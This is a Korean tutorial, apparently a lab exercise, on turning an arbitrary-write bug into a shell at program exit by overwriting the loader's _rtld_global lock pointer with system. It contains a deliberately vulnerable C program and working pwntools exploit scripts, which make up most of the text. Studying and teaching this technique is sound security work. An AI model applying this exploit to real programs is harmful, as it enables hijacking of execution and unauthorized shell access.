1. Introduction
프로그램에서 리턴 명령어를 수행하면 라이브러리와 로더에서 다양한 함수를 호출하면서 정상 종료된다.
이 과정에서 읽고 쓸 수 있는 영역에 존재하는 함수 포인터를 호출하기 때문에 임의 주소 쓰기 취약점이 있다면 해당 포인터를 덮어써서 프로그램의 실행 흐름을 조작할 수 잇다.
#include <stdio.h>
#include <stdlib.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
long addr;
long data;
int idx;
init();
printf("stdout: %p\n", stdout);
while (1) {
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("addr: ");
scanf("%ld", &addr);
printf("data: ");
scanf("%ld", &data);
*(long long *)addr = data;
break;
default:
return 0;
}
}
return 0;
}
code description
stdout 라이브러리 주소를 출력하고,
입력한 addr 주소에 data를 삽입하는 임의 주소 쓰기 취약점이 존재한다.
Full RELRO 가 걸려있어 GOT overwrite는 못한다.
2. Exploit
2.1 exploit design
1. 라이브러리 및 로더 베이스 주소 계산
예제에서 제공한 stdout 주소를 통해 라이브러리의 베이스 주소를 구하고,
"/lib64/ld-linux-x86-64.so.2"가 매핑된 로더의 베이스 주소를 알아낸다.
라이브러리와 로더가 매핑된 주소의 간격은 일정하기 때문에 디버깅을 통해 간격을 알아내고 오프셋을 계산해서 알아낼 수 있다.
2. _rtld_global 구조체 계산
로더의 베이스 주소를 알아냈다면, rtld_global 구조체의 심볼 주소를 더해 해당 구조체의 주소를 알아낼 수 있다.
해당 구조체 주소를 구했다면, 멤버 변수인 _dl_load_lock과 _dl_rtld__lock_recursive 함수 포인터의 주소를 구한다.
3. _rtld_global 구조체 조작
프로그램을 종료하는 과정에서 _rtld_global 구조체의 _dl_load_lock을 인자로
_dl_rtld_lock_recursive 함수 포인터를 호출한다.
따라서 dl_load_lock에 "/bin/sh" 또는 "sh" 문자열을 삽입하고
dl_rtld_lock_recursive를 system 함수로 덮어쓰면 셸을 획득할 것이다.
2.2 라이브러리 및 로더 베이스 주소 계산
예제에서 주어진 stdout 라이브러리 주소를 이용해 라이브러리와 로더의 베이스 주소를 알아보자.
라이브러리의 베이스 주소는 IO_2_1_stdout 심볼 주소를 빼 쉽게 알아낼 수 있다.
로더의 주소는 디버깅을 통해 라이브러리 베이스 주소와 뺄셈하여 간격 차를 알아낸다면 쉽게 구할 수 있다.
두 주소의 간격은 0x3f1000임을 알 수 있다.
from pwn import *
p = process("./ow_rtld")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
ld = ELF('/lib64/ld-linux-x86-64.so.2')
p.recvuntil(": ")
stdout = int(p.recvuntil("\n"),16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
ld_base = libc_base + 0x3f1000
print(hex(libc_base))
print(hex(ld_base))
p.interactive()
2.3 _rtld_global 주소 계산
이제 _rtld_global 구조체와 덮어쓸 멤버 변수의 주소를 구해보자.
멤버 변수의 주소는 각각 _rtld_global 구조체로부터 2312, 3840 오프셋 뒤에 위치한 것을 확인할 수 있다.
from pwn import *
p = process("./ow_rtld")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
ld = ELF('/lib64/ld-linux-x86-64.so.2')
p.recvuntil(": ")
stdout = int(p.recvuntil("\n"),16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
ld_base = libc_base + 0x3f1000
rtld_global = ld_base + ld.symbols['_rtld_global']
dl_load_lock = rtld_global + 2312
dl_rtld_lock_recursive = rtld_global + 3840
p.interactive()
2.4 _rtld_global 구조체 조작
이제 _dl_rtld_loc_recursive를 라이브러리 함수 system으로 덮어쓰고,
dl_load_lock 주소에 'sh' 또는 '/bin/sh'을 넣으면 셸을 획득할 것이다.
from pwn import *
p = process("./ow_rtld")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
ld = ELF('/lib64/ld-linux-x86-64.so.2')
p.recvuntil(": ")
stdout = int(p.recvuntil("\n"),16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
ld_base = libc_base + 0x3f1000
rtld_global = ld_base + ld.symbols['_rtld_global']
dl_load_lock = rtld_global + 2312
dl_rtld_lock_recursive = rtld_global + 3840
system = libc_base + libc.symbols['system']
p.sendlineafter("> ", "1")
p.sendlineafter("addr: ", str(dl_load_lock))
p.sendlineafter("data: ", str(u64("/bin/sh\x00")))
p.sendlineafter("> ", "1")
p.sendlineafter("addr: ", str(dl_rtld_lock_recursive))
p.sendlineafter("data: ", str(system))
p.sendlineafter("> ", "2")
p.interactive()
마치며
프로그램을 종료하면서 호출하는 함수 포인터를 조작해 셸을 획득하는 실습을 했다.
exit 또는 리턴 명령어가 실행될 때에는 실제로 로더 내부에서 다양한 코드를 실행한다.
만약 라이브러리 또는 로더의 주소 중 하나의 주소만 알 수 있으면 두 주소 모두 알아낼 수 있으며,
이를 통해 _rtld_global 구조체를 조작하고 프로그램 종료 시에 임의 코드를 실행할 수 있다.
Reference